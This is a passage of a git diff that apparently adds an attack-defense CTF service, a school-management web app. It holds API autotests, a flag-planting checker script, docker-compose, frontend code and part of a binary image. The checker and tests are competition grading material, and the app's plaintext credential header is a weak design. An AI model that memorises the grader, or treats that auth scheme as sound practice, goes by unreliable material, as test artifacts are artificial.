filter_path = ( + f"/api/classes/{context.class_id}/lessons/date/" + f"{context.lesson_first_date}" + ) + status, body, _ = context.send_request( + "GET", + filter_path, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 200, f"expected 200 for filter, got {status}") + + filtered = json.loads(body).get("уроки", []) + context.expect(len(filtered) == 0, "filter should be empty after delete") + + status, body, _ = context.send_request( + "GET", + f"/api/classes/{context.class_id}/lessons", + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 200, f"expected 200 for list, got {status}") + + remaining = json.loads(body).get("уроки", []) + context.expect( + any( + int(item[context.K_IDENTIFIER]) == context.lesson_second_id + for item in remaining + ), + "second lesson missing after delete", + ) + + context.lesson_first_id = None diff --git a/autotest/cases/case_21_teachers_remove_student_from_class.py b/autotest/cases/case_21_teachers_remove_student_from_class.py new file mode 100644 index 0000000..3c3a321 --- /dev/null +++ b/autotest/cases/case_21_teachers_remove_student_from_class.py @@ -0,0 +1,55 @@ +TEST_NAME = "teachers:remove student from class" + + +def run(context) -> None: + path = f"/api/classes/{context.class_id}/students/{context.student_two_id}" + status, _, _ = context.send_request("DELETE", path) + context.expect(status == 401, f"expected 401, got {status}") + + status, _, _ = context.send_request( + "DELETE", + f"/api/classes/{context.class_id + 999}/students/" + f"{context.student_two_id}", + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect( + status == 403, + f"expected 403 for foreign class, got {status}", + ) + + status, _, _ = context.send_request( + "DELETE", + f"/api/classes/{context.class_id}/students/" + f"{context.student_two_id + 999}", + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect( + status == 404, + f"expected 404 for foreign student, got {status}", + ) + + status, _, _ = context.send_request( + "DELETE", + path, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 204, f"expected 204, got {status}") + + status, _, _ = context.send_request( + "DELETE", + path, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 404, f"expected 404 after removal, got {status}") diff --git a/autotest/main.py b/autotest/main.py new file mode 100644 index 0000000..9475639 --- /dev/null +++ b/autotest/main.py @@ -0,0 +1,255 @@ +#!/usr/bin/env python3 +import http.client +import importlib +import json +import os +import socket +import sqlite3 +import subprocess +import sys +import time +import argparse +from pathlib import Path +import traceback + +ROOT = Path(__file__).resolve().parents[1] +DB_PATH = ROOT / "var" / "srab.db" +SERVER_PATH = os.environ.get("SERVER_PATH", ROOT / "build" / "target.exe") +HOST = "127.0.0.1" +PORT = 1337 + +if str(ROOT) not in sys.path: + sys.path.insert(0, str(ROOT)) + +K_FIRST_NAME = "имя" +K_LAST_NAME = "фамилия" +K_MIDDLE_NAME = "отчество" +K_EDUCATION = "образование" +K_PASSWORD = "пароль" +K_CONFIRM_PASSWORD = "повтор пароля" +K_NEW_PASSWORD = "новый пароль" +K_SNILS = "снилс" +K_PASSPORT = "паспорт" +K_CLASS_NUMBER = "номер" +K_CLASS_LETTER = "буква" +K_CLASSES = "классы" +K_IDENTIFIER = "идентификатор" +K_CREATOR = "создатель" +K_USERNAME = "имя пользователя" + +MESSAGE_PASSWORD_MISMATCH = "Пароли не совпадают." +MESSAGE_LOGIN_OK = "Рады видеть вас снова :3" + +CASE_PACKAGE = "autotest.cases" +CASE_MODULES = [ + "case_01_users_create_teacher", + "case_02_users_create_mismatch", + "case_03_users_login_success", + "case_04_users_login_failure", + "case_05_users_change_password", + "case_06_users_login_with_new_password", + "case_07_teachers_auth_required", + "case_08_teachers_create_class", + "case_09_teachers_list_classes", + "case_10_teachers_create_extra_class", + "case_11_teachers_delete_extra_class", + "case_12_students_create_student", + "case_13_students_create_second_student", + "case_14_teachers_add_student_to_class", + "case_15_students_list", + "case_16_students_get", + "case_17_students_delete", + "case_18_lessons_teacher_add", + "case_19_lessons_list", + "case_20_lessons_teacher_delete", + "case_21_teachers_remove_student_from_class", +] + + +class TestContext: + def __init__(self) -> None: + self.teacher_first = "Alice" + self.teacher_last = "Smith" + self.teacher_middle = "Ann" + self.teacher_education = "Math" + self.teacher_password_initial = "Secret42" + self.teacher_password_new = "Secret99" + self.teacher_password = self.teacher_password_initial + self.teacher_username = f"{self.teacher_first}.{self.teacher_last}" + + self.class_id = None + self.class_two_id = None + self.student_one_id = None + self.student_two_id = None + self.teacher_id = None + self.teacher_user_id = None + self.lesson_first_id = None + self.lesson_first_date = None + self.lesson_first_title = None + self.lesson_second_id = None + self.lesson_second_date = None + self.lesson_second_title = None + self.student_one_username = None + self.student_one_password = None + self.student_two_username = None + self.student_two_password = None + + self.K_FIRST_NAME = K_FIRST_NAME + self.K_LAST_NAME = K_LAST_NAME + self.K_MIDDLE_NAME = K_MIDDLE_NAME + self.K_EDUCATION = K_EDUCATION + self.K_PASSWORD = K_PASSWORD + self.K_CONFIRM_PASSWORD = K_CONFIRM_PASSWORD + self.K_NEW_PASSWORD = K_NEW_PASSWORD + self.K_SNILS = K_SNILS + self.K_PASSPORT = K_PASSPORT + self.K_CLASS_NUMBER = K_CLASS_NUMBER + self.K_CLASS_LETTER = K_CLASS_LETTER + self.K_CLASSES = K_CLASSES + self.K_IDENTIFIER = K_IDENTIFIER + self.K_CREATOR = K_CREATOR + self.K_USERNAME = K_USERNAME + self.MESSAGE_PASSWORD_MISMATCH = MESSAGE_PASSWORD_MISMATCH + self.MESSAGE_LOGIN_OK = MESSAGE_LOGIN_OK + + def expect(self, condition: bool, message: str) -> None: + expect(condition, message) + + def send_request(self, method: str, path: str, *, body=None, headers=None): + return send_request(method, path, body=body, headers=headers) + + def query_single_value(self, sql: str, params) -> int: + return query_single_value(sql, params) + + def make_auth(self, username: str, password: str) -> dict: + return make_auth(username, password) + + +def remove_database() -> None: + if DB_PATH.exists(): + DB_PATH.unlink() + + +def start_server(silent) -> subprocess.Popen: + out = subprocess.DEVNULL if silent else None + + return subprocess.Popen( + [str(SERVER_PATH)], + cwd=str(ROOT), + stdout=out, + stderr=out, + ) + + +def wait_for_server(timeout: float = 10.0) -> None: + deadline = time.time() + timeout + while time.time() < deadline: + try: + with socket.create_connection((HOST, PORT), timeout=0.25): + return + except OSError: + time.sleep(0.05) + raise RuntimeError("server did not accept connections") + + +def stop_server(proc: subprocess.Popen) -> None: + if proc.poll() is not None: + return + proc.terminate() + try: + proc.wait(timeout=2) + except subprocess.TimeoutExpired: + proc.kill() + proc.wait(timeout=2) + + +def expect(condition: bool, message: str) -> None: + if not condition: + raise AssertionError(message) + + +def make_auth(username: str, password: str) -> dict: + return {"Authorization": f"Basic {username} {password}"} + + +def send_request(method: str, path: str, *, body=None, headers=None): + conn = http.client.HTTPConnection(HOST, PORT, timeout=5) + try: + data = None + hdrs = {} if headers is None else dict(headers) + if body is not None: + if isinstance(body, (dict, list)): + data = json.dumps(body, ensure_ascii=False).encode("utf-8") + hdrs.setdefault( + "Content-Type", + "application/json; charset=utf-8", + ) + elif isinstance(body, str): + data = body.encode("utf-8") + else: + data = body + conn.request(method, path, body=data, headers=hdrs) + response = conn.getresponse() + payload = response.read() + text = payload.decode("utf-8") if payload else "" + return response.status, text, dict(response.getheaders()) + finally: + conn.close() + + +def query_single_value(sql: str, params) -> int: + with sqlite3.connect(DB_PATH) as conn: + conn.row_factory = sqlite3.Row + row = conn.execute(sql, params).fetchone() + expect(row is not None, f"query returned no rows: {sql!r} {params!r}") + return int(row["id"]) + + +def load_cases(): + modules = [] + for name in CASE_MODULES: + module = importlib.import_module(f"{CASE_PACKAGE}.{name}") + modules.append(module) + return modules + + +def run_tests() -> None: + context = TestContext() + + for module in load_cases(): + step_name = getattr(module, "TEST_NAME", module.__name__) + print(f"[step] {step_name}") + + try: + module.run(context) + except Exception: + print(f"Test '{step_name}' run failed") + print(traceback.format_exc()) + sys.exit(1) + + print("[OK] All steps passed") + + +def main() -> None: + parser = argparse.ArgumentParser(description="SRAB automatic test suit.") + parser.add_argument( + "-s", + "--suppress", + default=False, + action="store_true", + help="Suppress server output" + ) + args = parser.parse_args() + + remove_database() + server = start_server(args.suppress) + + try: + wait_for_server() + run_tests() + finally: + stop_server(server) + + +if __name__ == "__main__": + main() diff --git a/checker/checker.py b/checker/checker.py new file mode 100644 index 0000000..0aa73b4 --- /dev/null +++ b/checker/checker.py @@ -0,0 +1,742 @@ +#!/usr/bin/python3 +import errno +import hashlib +import http.client +import json +import random +import socket +import string +import sys +import traceback + + +PORT = 1337 +TIMEOUT = 3.0 + +K_FIRST_NAME = "имя" +K_LAST_NAME = "фамилия" +K_MIDDLE_NAME = "отчество" +K_EDUCATION = "образование" +K_PASSWORD = "пароль" +K_CONFIRM_PASSWORD = "повтор пароля" +K_NEW_PASSWORD = "новый пароль" +K_SNILS = "снилс" +K_PASSPORT = "паспорт" +K_CLASS_NUMBER = "номер" +K_CLASS_LETTER = "буква" +K_CLASSES = "классы" +K_IDENTIFIER = "идентификатор" +K_CREATOR = "создатель" +K_USERNAME = "имя пользователя" +K_LESSONS = "уроки" +K_LESSON_DATE = "дата" +K_LESSON_TITLE = "название" +K_LESSON_HOMEWORK = "домашнее задание" + +LOGIN_SUCCESS = "Рады видеть вас снова :3" + +TEACHER_FIRST_NAMES = [ + "Анна", + "Мария", + "Ольга", + "Елена", + "Светлана", + "Татьяна", + "Юлия", + "Вера", + "Алёна", + "Наталья", +] +TEACHER_LAST_NAMES = [ + "Иванова", + "Петрова", + "Сидорова", + "Федорова", + "Кузнецова", + "Попова", + "Соколова", + "Павлова", + "Зайцева", + "Орлова", +] +TEACHER_MIDDLE_NAMES = [ + "Александровна", + "Сергеевна", + "Игоревна", + "Юрьевна", + "Владимировна", + "Николаевна", + "Павловна", + "Степановна", + "Олеговна", + "Георгиевна", +] +TEACHER_EDUCATIONS = [ + "Математика", + "Физика", + "Химия", + "История", + "Биология", + "География", + "Литература", + "Информатика", +] +STUDENT_FIRST_NAMES = [ + "Артём", + "Борис", + "Виктория", + "Глеб", + "Дарья", + "Егор", + "Злата", + "Илья", + "Кира", + "Лев", + "Маргарита", + "Никита", +] +STUDENT_LAST_NAMES = [ + "Алексеев", + "Белов", + "Васильев", + "Громов", + "Демидов", + "Ершов", + "Журавлёв", + "Зуев", + "Исаев", + "Калинин", + "Лукин", + "Миронов", +] +STUDENT_MIDDLE_NAMES = [ + "Андреевич", + "Борисович", + "Владимирович", + "Геннадьевич", + "Дмитриевич", + "Евгеньевич", + "Иванович", + "Константинович", + "Львович", + "Михайлович", +] +LESSON_TOPICS = [ + "Алгебра", + "Геометрия", + "Физика", + "Химия", + "Биология", + "История", + "Информатика", + "Русский язык", +] +HOMEWORK_PHRASES = [ + "Решить упражнения {token} в тетради.", + "Подготовить сообщение по теме {token}.", + "Прочитать параграф {token} и сделать конспект.", + "Собрать презентацию {token}.", +] +PASSWORD_WORDS = [ + "Секрет", + "Пароль", + "Шифр", + "Тайна", + "Загадка", + "Форт", +] +CLASS_LETTERS = list("АБВГД") + +_ERR_HOSTDOWN = getattr(errno, "EHOSTDOWN", None) +DOWN_ERRNOS = { + value + for value in ( + errno.ECONNREFUSED, + errno.EHOSTUNREACH, + errno.ENETUNREACH, + _ERR_HOSTDOWN, + ) + if value is not None +} + +DEBUG = True + + +def service_up(): + print("[service is worked] - 101") + exit(101) + + +def service_corrupt(): + print("[service is corrupt] - 102") + exit(102) + + +def service_mumble(): + print("[service is mumble] - 103") + exit(103) + + +def service_down(): + print("[service is down] - 104") + exit(104) + + +def debug(message): + if DEBUG: + print(f"[debug] {message}", file=sys.stderr) + + +class CheckerError(Exception): + def __init__(self, verdict, message): + super().__init__(message) + self.verdict = verdict + + +class ApiClient: + def __init__(self, host, port=PORT): + self.host = host + self.port = port + + def request(self, method, path, *, json_body=None, headers=None): + if not path.startswith("/"): + path = "/" + path + hdrs = {} if headers is None else dict(headers) + data = None + if json_body is not None: + data = json.dumps(json_body, ensure_ascii=False).encode("utf-8") + hdrs.setdefault( + "Content-Type", + "application/json; charset=utf-8", + ) + conn = http.client.HTTPConnection( + self.host, + self.port, + timeout=TIMEOUT, + ) + try: + conn.request(method, path, body=data, headers=hdrs) + response = conn.getresponse() + payload = response.read() + text = payload.decode("utf-8", "ignore") + return response.status, text, dict(response.getheaders()) + except socket.timeout as exc: + raise CheckerError(service_mumble, "request timeout") from exc + except OSError as exc: + err_no = exc.errno + if err_no in DOWN_ERRNOS: + raise CheckerError( + service_down, + f"connection error: {exc}", + ) from exc + if err_no == errno.ECONNRESET: + raise CheckerError( + service_mumble, + f"connection reset: {exc}", + ) from exc + raise CheckerError( + service_mumble, + f"network error: {exc}", + ) from exc + except http.client.HTTPException as exc: + raise CheckerError( + service_mumble, + f"http error: {exc}", + ) from exc + finally: + try: + conn.close() + except Exception: + pass + + +def make_seed(flag_id, flag): + digest = hashlib.sha256(f"{flag_id}:{flag}".encode("utf-8")).digest() + return int.from_bytes(digest, "big") + + +def token(rng, length): + alphabet = string.ascii_uppercase + string.digits + return "".join(rng.choice(alphabet) for _ in range(length)) + + +def numeric(rng, length): + return "".join(rng.choice(string.digits) for _ in range(length)) + + +def build_teacher(rng): + suffix = token(rng, 5) + + first = rng.choice(TEACHER_FIRST_NAMES) + suffix + last = rng.choice(TEACHER_LAST_NAMES) + suffix + middle = rng.choice(TEACHER_MIDDLE_NAMES) + suffix + education = rng.choice(TEACHER_EDUCATIONS) + password = rng.choice(PASSWORD_WORDS) + token(rng, 5) + numeric(rng, 2) + username = f"{first}.{last}" + return { + "first": first, + "last": last, + "middle": middle, + "education": education, + "password": password, + "username": username, + } + + +def build_student(rng, flagged, flag): + suffix = token(rng, 3) + first = rng.choice(STUDENT_FIRST_NAMES) + suffix + last = rng.choice(STUDENT_LAST_NAMES) + suffix + middle = rng.choice(STUDENT_MIDDLE_NAMES) + suffix + password = rng.choice(PASSWORD_WORDS) + suffix + numeric(rng, 2) + snils = flag if flagged else numeric(rng, 11) + passport = "P" + numeric(rng, 8) + username = f"{first}.{last}" + return { + "first": first, + "last": last, + "middle": middle, + "password": password, + "snils": snils, + "passport": passport, + "username": username, + "is_flagged": flagged, + } + + +def build_lesson(rng, class_index, lesson_index): + base_day = 1 + class_index * 4 + lesson_index + day = 1 + base_day % 27 + date = f"2025-09-{day:02d}" + topic = rng.choice(LESSON_TOPICS) + " " + token(rng, 2) + homework = rng.choice(HOMEWORK_PHRASES).format(token=token(rng, 3)) + return { + "date": date, + "title": topic, + "homework": homework, + } + + +def generate_plan(flag_id, flag): + rng = random.Random(make_seed(flag_id, flag)) + teacher = build_teacher(rng) + class_count = 1 + rng.randint(0, 2) + class_specs = [] + total_students = 0 + for _ in range(class_count): + student_count = 1 + rng.randint(0, 2) + lesson_count = 2 + rng.randint(0, 1) + class_specs.append( + { + "number": rng.randint(1, 11), + "letter": rng.choice(CLASS_LETTERS), + "student_count": student_count, + "lesson_count": lesson_count, + } + ) + total_students += student_count + flagged_index = rng.randrange(total_students) + current_index = 0 + classes = [] + for class_idx, spec in enumerate(class_specs): + students = [] + for _ in range(spec["student_count"]): + is_flagged = current_index == flagged_index + students.append(build_student(rng, is_flagged, flag)) + current_index += 1 + lessons = [ + build_lesson(rng, class_idx, li) + for li in range(spec["lesson_count"]) + ] + classes.append( + { + "number": spec["number"], + "letter": spec["letter"], + "students": students, + "lessons": lessons, + } + ) + return { + "teacher": teacher, + "classes": classes, + "flag": flag, + } + + +def all_students(plan): + for class_spec in plan["classes"]: + for student in class_spec["students"]: + yield student + + +def make_auth_header(teacher): + return { + "Authorization": ( + f"Basic {teacher['username']} {teacher['password']}".encode( + "utf-8" + ) + ), + } + + +def parse_json_payload(text, context): + try: + return json.loads(text) if text else {} + except json.JSONDecodeError as exc: + raise CheckerError( + service_corrupt, + f"invalid json in {context}: {exc}", + ) from exc + + +def login_teacher(client, teacher): + payload = { + K_USERNAME: teacher["username"], + K_PASSWORD: teacher["password"], + } + status, body, _ = client.request( + "POST", + "/api/users/login", + json_body=payload, + ) + body_text = body.strip() + if status == 200 and body_text == LOGIN_SUCCESS: + return True + if status == 401: + return False + raise CheckerError( + service_corrupt, + f"unexpected login status {status} body={body_text!r}", + ) + + +def ensure_teacher(client, plan): + teacher = plan["teacher"] + if login_teacher(client, teacher): + return make_auth_header(teacher) + payload = { + K_FIRST_NAME: teacher["first"], + K_LAST_NAME: teacher["last"], + K_MIDDLE_NAME: teacher["middle"], + K_EDUCATION: teacher["education"], + K_PASSWORD: teacher["password"], + K_CONFIRM_PASSWORD: teacher["password"], + } + status, _, _ = client.request("POST", "/api/users", json_body=payload) + if status != 201: + raise CheckerError( + service_corrupt, + f"teacher create failed with status {status}", + ) + if not login_teacher(client, teacher): + raise CheckerError( + service_corrupt, + "teacher login failed after registration", + ) + return make_auth_header(teacher) + + +def fetch_classes(client, auth): + status, body, _ = client.request("GET", "/api/classes", headers=auth) + if status != 200: + raise CheckerError( + service_corrupt, + f"unexpected classes status {status}", + ) + data = parse_json_payload(body, "classes list") + classes = data.get(K_CLASSES, []) + if not isinstance(classes, list): + raise CheckerError(service_corrupt, "classes payload malformed") + return classes + + +def find_class(classes, number, letter): + for entry in classes: + if ( + isinstance(entry, dict) + and entry.get(K_CLASS_NUMBER) == number + and entry.get(K_CLASS_LETTER) == letter + ): + return entry + return None + + +def ensure_classes(client, plan, auth): + classes_payload = fetch_classes(client, auth) + for class_spec in plan["classes"]: + existing = find_class( + classes_payload, + class_spec["number"], + class_spec["letter"], + ) + if existing is None: + payload = { + K_CLASS_NUMBER: class_spec["number"], + K_CLASS_LETTER: class_spec["letter"], + } + status, body, _ = client.request( + "POST", + "/api/classes", + json_body=payload, + headers=auth, + ) + if status != 201: + raise CheckerError( + service_corrupt, + f"class create failed with status {status}", + ) + created = parse_json_payload(body, "class create") + classes_payload.append(created) + class_spec["id"] = int(created.get(K_IDENTIFIER)) + else: + class_spec["id"] = int(existing.get(K_IDENTIFIER)) + + +def fetch_students(client, auth): + status, body, _ = client.request("GET", "/api/students", headers=auth) + if status != 200: + raise CheckerError( + service_corrupt, + f"unexpected students status {status}", + ) + data = parse_json_payload(body, "students list") + students = data.get("\u0443\u0447\u0435\u043d\u0438\u043a\u0438", []) + if not isinstance(students, list): + raise CheckerError(service_corrupt, "students payload malformed") + return students + + +def ensure_students(client, plan, auth): + student_specs = list(all_students(plan)) + if not student_specs: + return + students_payload = fetch_students(client, auth) + snils_map = { + entry.get(K_SNILS): entry + for entry in students_payload + if isinstance(entry, dict) + } + missing = [ + spec + for spec in student_specs + if spec["snils"] not in snils_map + ] + for spec in missing: + payload = { + K_FIRST_NAME: spec["first"], + K_LAST_NAME: spec["last"], + K_MIDDLE_NAME: spec["middle"], + K_PASSWORD: spec["password"], + K_CONFIRM_PASSWORD: spec["password"], + K_SNILS: spec["snils"], + K_PASSPORT: spec["passport"], + } + status, _, _ = client.request( + "POST", + "/api/students", + json_body=payload, + headers=auth, + ) + if status != 201: + raise CheckerError( + service_corrupt, + f"student create failed with status {status}", + ) + if missing: + students_payload = fetch_students(client, auth) + snils_map = { + entry.get(K_SNILS): entry + for entry in students_payload + if isinstance(entry, dict) + } + for spec in student_specs: + entry = snils_map.get(spec["snils"]) + if entry is None: + raise CheckerError( + service_corrupt, + "student missing after creation", + ) + spec["id"] = int(entry.get(K_IDENTIFIER)) + + +def add_students_to_classes(client, plan, auth): + for class_spec in plan["classes"]: + class_id = class_spec.get("id") + if class_id is None: + raise CheckerError( + service_corrupt, + "class id missing during assignment", + ) + for student in class_spec["students"]: + student_id = student.get("id") + if student_id is None: + raise CheckerError( + service_corrupt, + "student id missing during assignment", + ) + path = f"/api/classes/{class_id}/students/{student_id}" + status, _, _ = client.request("POST", path, headers=auth) + if status not in (201, 422): + raise CheckerError( + service_corrupt, + f"assignment failed with status {status}", + ) + + +def fetch_lessons(client, auth, class_id): + path = f"/api/classes/{class_id}/lessons" + status, body, _ = client.request("GET", path, headers=auth) + if status != 200: + raise CheckerError( + service_corrupt, + f"unexpected lessons status {status}", + ) + data = parse_json_payload(body, "lessons list") + lessons = data.get(K_LESSONS, []) + if not isinstance(lessons, list): + raise CheckerError(service_corrupt, "lessons payload malformed") + return lessons + + +def match_lesson(entry, lesson_spec): + return ( + isinstance(entry, dict) + and entry.get(K_LESSON_DATE) == lesson_spec["date"] + and entry.get(K_LESSON_TITLE) == lesson_spec["title"] + ) + + +def ensure_lessons(client, plan, auth): + for class_spec in plan["classes"]: + class_id = class_spec.get("id") + if class_id is None: + raise CheckerError(service_corrupt, "class id missing for lessons") + lessons_payload = fetch_lessons(client, auth, class_id) + for lesson_spec in class_spec["lessons"]: + existing = None + for entry in lessons_payload: + if match_lesson(entry, lesson_spec): + existing = entry + break + if existing is None: + payload = { + K_LESSON_DATE: lesson_spec["date"], + K_LESSON_TITLE: lesson_spec["title"], + K_LESSON_HOMEWORK: lesson_spec["homework"], + } + status, body, _ = client.request( + "POST", + f"/api/classes/{class_id}/lessons", + json_body=payload, + headers=auth, + ) + if status != 201: + raise CheckerError( + service_corrupt, + f"lesson create failed with status {status}", + ) + created = parse_json_payload(body, "lesson create") + lessons_payload.append(created) + + +def perform_put(client, plan): + auth = ensure_teacher(client, plan) + ensure_classes(client, plan, auth) + ensure_students(client, plan, auth) + add_students_to_classes(client, plan, auth) + ensure_lessons(client, plan, auth) + + +def verify_classes(client, plan, auth): + classes_payload = fetch_classes(client, auth) + for class_spec in plan["classes"]: + entry = find_class( + classes_payload, + class_spec["number"], + class_spec["letter"], + ) + if entry is None: + raise CheckerError(service_corrupt, "expected class missing") + class_spec["id"] = int(entry.get(K_IDENTIFIER)) + lessons_payload = fetch_lessons(client, auth, class_spec["id"]) + for lesson_spec in class_spec["lessons"]: + if not any( + match_lesson(item, lesson_spec) + for item in lessons_payload + ): + raise CheckerError(service_corrupt, "expected lesson missing") + + +def verify_students(client, plan, auth): + students_payload = fetch_students(client, auth) + snils_map = { + entry.get(K_SNILS): entry + for entry in students_payload + if isinstance(entry, dict) + } + for student in all_students(plan): + entry = snils_map.get(student["snils"]) + if entry is None: + raise CheckerError(service_corrupt, "expected student missing") + if entry.get(K_FIRST_NAME) != student["first"]: + raise CheckerError(service_corrupt, "student first name mismatch") + if entry.get(K_LAST_NAME) != student["last"]: + raise CheckerError(service_corrupt, "student last name mismatch") + if entry.get(K_MIDDLE_NAME) != student["middle"]: + raise CheckerError(service_corrupt, "student middle name mismatch") + if entry.get(K_PASSPORT) != student["passport"]: + raise CheckerError(service_corrupt, "student passport mismatch") + if entry.get(K_USERNAME) != student["username"]: + raise CheckerError(service_corrupt, "student username mismatch") + if student["is_flagged"] and entry.get(K_SNILS) != plan["flag"]: + raise CheckerError(service_corrupt, "flag storage mismatch") + + +def perform_check(client, plan): + teacher = plan["teacher"] + if not login_teacher(client, teacher): + raise CheckerError(service_corrupt, "teacher credentials rejected") + auth = make_auth_header(teacher) + verify_classes(client, plan, auth) + verify_students(client, plan, auth) + + +if len(sys.argv) != 5: + print( + f"\nUsage:\n\t{sys.argv[0]} (put|check) \n", + file=sys.stderr, + ) + exit(1) + + +def main(): + host = sys.argv[1] + command = sys.argv[2] + flag_id = sys.argv[3] + flag = sys.argv[4] + + plan = generate_plan(flag_id, flag) + client = ApiClient(host) + + try: + if command == "put": + perform_put(client, plan) + perform_check(client, plan) + service_up() + elif command == "check": + perform_check(client, plan) + service_up() + else: + raise CheckerError(service_corrupt, f"unknown command {command!r}") + except CheckerError as err: + debug(f"failure: {err}") + debug(traceback.format_exc()) + err.verdict() + except Exception as exc: + debug(f"unexpected error: {exc}") + debug(traceback.format_exc()) + service_mumble() + + +if __name__ == "__main__": + main() diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000..a5104ba --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,8 @@ +services: + srab: + build: . + tty: true + ports: + - "1337:1337" + volumes: + - ./var:/app/var diff --git a/frontend/app.js b/frontend/app.js new file mode 100644 index 0000000..2e3ec64 --- /dev/null +++ b/frontend/app.js @@ -0,0 +1,36 @@ +import { routerNavigate, route } from "./router.js"; +import { + loadSession, + clearSession, + setTopUser, + setLogoutVisible, +} from "./utils.js"; +import "./views/auth.js"; +import "./views/teacher.js"; +import "./views/student.js"; + +route("/404", async ({ view }) => { + const card = document.createElement("div"); + card.className = "card"; + card.innerHTML = `
Страница не найдена
Нет такой страницы
`; + view.appendChild(card); +}); + +function initTop() { + const s = loadSession(); + if (s) { + setTopUser(s.username); + setLogoutVisible(true); + } + document.getElementById("btn-logout").addEventListener("click", () => { + clearSession(); + setTopUser(""); + setLogoutVisible(false); + location.hash = "#/auth/login"; + }); +} + +window.addEventListener("DOMContentLoaded", () => { + initTop(); + routerNavigate(); +}); diff --git a/frontend/index.html b/frontend/index.html new file mode 100644 index 0000000..5423962 --- /dev/null +++ b/frontend/index.html @@ -0,0 +1,53 @@ + + + + + + Электронная школа — SRAB + + + + + +
+
+
+ + Электронная Школа +
+
+
+
+ +
+
+ + +
+ + + + diff --git a/frontend/kek.js b/frontend/kek.js new file mode 100644 index 0000000..8391546 --- /dev/null +++ b/frontend/kek.js @@ -0,0 +1,140 @@ +const API_BASE = (localStorage.getItem("srab.apiBase") || "").replace( + /\/$/, + "" +); + +function buildAuthHeader(session) { + if (!session || !session.username || !session.password) return {}; + return { Authorization: `Basic ${session.username} ${session.password}` }; +} + +async function apiFetch( + path, + { method = "GET", body, session, headers = {} } = {} +) { + const url = `${API_BASE}${path}`; + const h = { + "Content-Type": "application/json", + ...buildAuthHeader(session), + ...headers, + }; + const opts = { method, headers: h }; + if (body !== undefined) + opts.body = typeof body === "string" ? body : JSON.stringify(body); + + const res = await fetch(url, opts); + let data = null; + const ct = res.headers.get("content-type") || ""; + data = await res.text(); + try { + data = JSON.parse(data); + } catch (e) {} + + if (!res.ok) { + const err = new Error( + (data && (data.message || data.error)) || `HTTP ${res.status}` + ); + err.status = res.status; + err.data = data; + throw err; + } + return { status: res.status, data }; +} + +export const Api = { + base: API_BASE, + setBase(url) { + localStorage.setItem("srab.apiBase", url); + }, + + async login({ username, password }) { + const session = { username, password }; + const { data } = await apiFetch("/api/users/login", { + method: "POST", + session, + body: { "имя пользователя": username, пароль: password }, + }); + return { session, message: data }; + }, + async registerTeacher(payload) { + return apiFetch("/api/users", { method: "POST", body: payload }); + }, + async changePassword(session, newPassword) { + return apiFetch("/api/users/password", { + method: "PUT", + session, + body: { "новый пароль": newPassword }, + }); + }, + + async listTeachers(session, page) { + return apiFetch( + `/api/teachers${page ? `?страница=${encodeURIComponent(page)}` : ""}`, + { session } + ); + }, + + async createStudent(session, payload) { + return apiFetch("/api/students", { + method: "POST", + session, + body: payload, + }); + }, + async listStudents(session, teacherId) { + const q = teacherId ? `?учитель=${encodeURIComponent(teacherId)}` : ""; + return apiFetch(`/api/students${q}`, { session }); + }, + async getStudent(session, id) { + return apiFetch(`/api/students/${id}`, { session }); + }, + async deleteStudent(session, id) { + return apiFetch(`/api/students/${id}`, { method: "DELETE", session }); + }, + + async listClasses(session, teacherId) { + const q = teacherId ? `?учитель=${encodeURIComponent(teacherId)}` : ""; + return apiFetch(`/api/classes${q}`, { session }); + }, + async createClass(session, payload) { + return apiFetch("/api/classes", { method: "POST", session, body: payload }); + }, + async deleteClass(session, classId) { + return apiFetch(`/api/classes/${classId}`, { method: "DELETE", session }); + }, + async addStudentToClass(session, classId, studentId) { + return apiFetch(`/api/classes/${classId}/students/${studentId}`, { + method: "POST", + session, + }); + }, + async removeStudentFromClass(session, classId, studentId) { + return apiFetch(`/api/classes/${classId}/students/${studentId}`, { + method: "DELETE", + session, + }); + }, + + async createLesson(session, classId, payload) { + return apiFetch(`/api/classes/${classId}/lessons`, { + method: "POST", + session, + body: payload, + }); + }, + async listLessons(session, classId, date) { + const q = date ? `?date=${encodeURIComponent(date)}` : ""; + return apiFetch(`/api/classes/${classId}/lessons${q}`, { session }); + }, + async listLessonsByDate(session, classId, date) { + return apiFetch(`/api/classes/${classId}/lessons/date/${date}`, { + session, + }); + }, + async deleteLessonById(session, classId, lessonId) { + return apiFetch(`/api/classes/${classId}/lessons/${lessonId}`, { + method: "DELETE", + session, + }); + }, +}; diff --git a/frontend/router.js b/frontend/router.js new file mode 100644 index 0000000..79b736f --- /dev/null +++ b/frontend/router.js @@ -0,0 +1,23 @@ +const routes = {}; +export function route(path, handler) { + routes[path] = handler; +} + +function parseHash() { + const h = location.hash.replace(/^#/, ""); + const parts = h.split("?"); + const path = parts[0] || "/dashboard"; + const search = new URLSearchParams(parts[1] || ""); + return { path, search }; +} + +export async function routerNavigate() { + const { path, search } = parseHash(); + const view = document.getElementById("view"); + const handler = routes[path] || routes["/404"]; + view.innerHTML = ""; + await handler({ view, search }); + window.scrollTo(0, 0); +} + +window.addEventListener("hashchange", routerNavigate); diff --git a/frontend/srab.jpg b/frontend/srab.jpg new file mode 100644 index 0000000000000000000000000000000000000000..c388fcba9c713ee1c42c62f3f3588f98567c6927 GIT binary patch literal 169710 zcmb5VdmxkV8$Z6yXj7|a%Q`4*GrbuqqEZes4`viwn;eP~5=tc%q46F)I` z;#xT}nY?Pv`VH&kHjw1Va?2lrmIA+nmBvd;ufH`YB2H=u{6P~@7$RDV zi2hrLQuyDaVx++H{{JsD3bO)-m6nmhga6(D7P7pS|LcXuNMZlJMXizoKL|-dC=`0k z=-)1)MjR2R5rKw6G!Pt~h>C+WEbwTeh6RySXTgy#Q3=D)sLHg8=spM~MDP$40*MJk zA`wSajUb}(5Qdo3hl(Q-F?p8qB{X{q(Ox=Rot9X_7u(ZFXbj#FtrBh}kzyubcaq9e zI?+&Kd=uw&Ld9BJ%t{q$6%AXKyKPghgq_4jM7U7-P+P=X#XGk!)FC085h|ZsXcfg* 